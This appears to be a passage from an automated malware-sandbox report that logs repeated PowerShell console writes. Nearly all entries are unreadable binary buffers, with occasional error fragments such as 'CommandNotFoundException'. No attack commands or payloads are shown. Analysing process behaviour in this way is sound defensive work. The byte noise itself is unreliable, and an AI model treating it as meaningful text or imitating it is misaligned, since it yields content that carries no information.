Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............*_.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............6_.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............H_.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............T_.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............g_.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............s_.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$................_.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........_.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................_.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................`.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............+`.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............I`.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............]`.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............|`.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................`.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$................`.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................`.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t......."a.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........a.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......@a.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......La.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......^a.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......ja.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......|a.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........a.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........a.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........a.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........a.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........a.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......t........a.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........a.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........b.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......+b.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......=b.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......Ib.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......[b.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......gb.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......t........b.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........b.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........c.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........c.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......,c.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......8c.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......Jc.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......Vc.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......hc.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......tc.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........c.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........c.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......t........c.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........c.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........c.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........c.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........c.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........c.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........d.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......)d.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......5d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......Hd.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......Td.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......fd.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......rd.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......t........d.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........d.........................s............................8............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..&..............PN.............................}..w.............................1......(.P..............3........&..............]..............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................CmN........................l....}..w.....]......\.......................(.P.....h...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..&......................................]......}..w.............*g........l......f.....(.P.....h.................&.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................CmN........................l....}..w.....]......\.......................(.P.....h...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..&......................................]......}..w.............*g........l......f.....(.P.....h.................&.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....H.......N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..*g........l......f.....(.P.....h...............H....... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..&......................................]......}..w.............*g........l......f.....(.P.....h.................&.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.h...............H.......@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..&......................................]......}..w.............*g........l......f.....(.P.....h.................&.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...H.......N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..&......................................]......}..w.............*g........l......f.....(.P.....h.................&.....l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ ........]......}..w.............*g........l......f.....(.P.....h...............H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................]..............0....r...W......}..w............@E......^...............(.P.....h...............h...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................]...................r...W......}..w............@E......^...............(.P.....h...............h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......(..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......:..........................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......F..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......X..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......d..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......v..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......#..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......5..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......A..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......S..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d......._..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......q..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......}..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......$..........................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............0..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............B..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............N..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............`..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............l..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............~..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............+..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............=..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............I..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............[..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............g..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............y..........................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............&..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............8..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............D..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............V..........................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............f..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(...............}..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............@..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............M..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..............._..........................s....................~.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............k..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........}..........................s.................... .......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................R.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................R.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............&..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............H..........................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............T..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......f..........................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............r..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............%..........................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............1..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......C..........................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............O..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............a..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............m..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
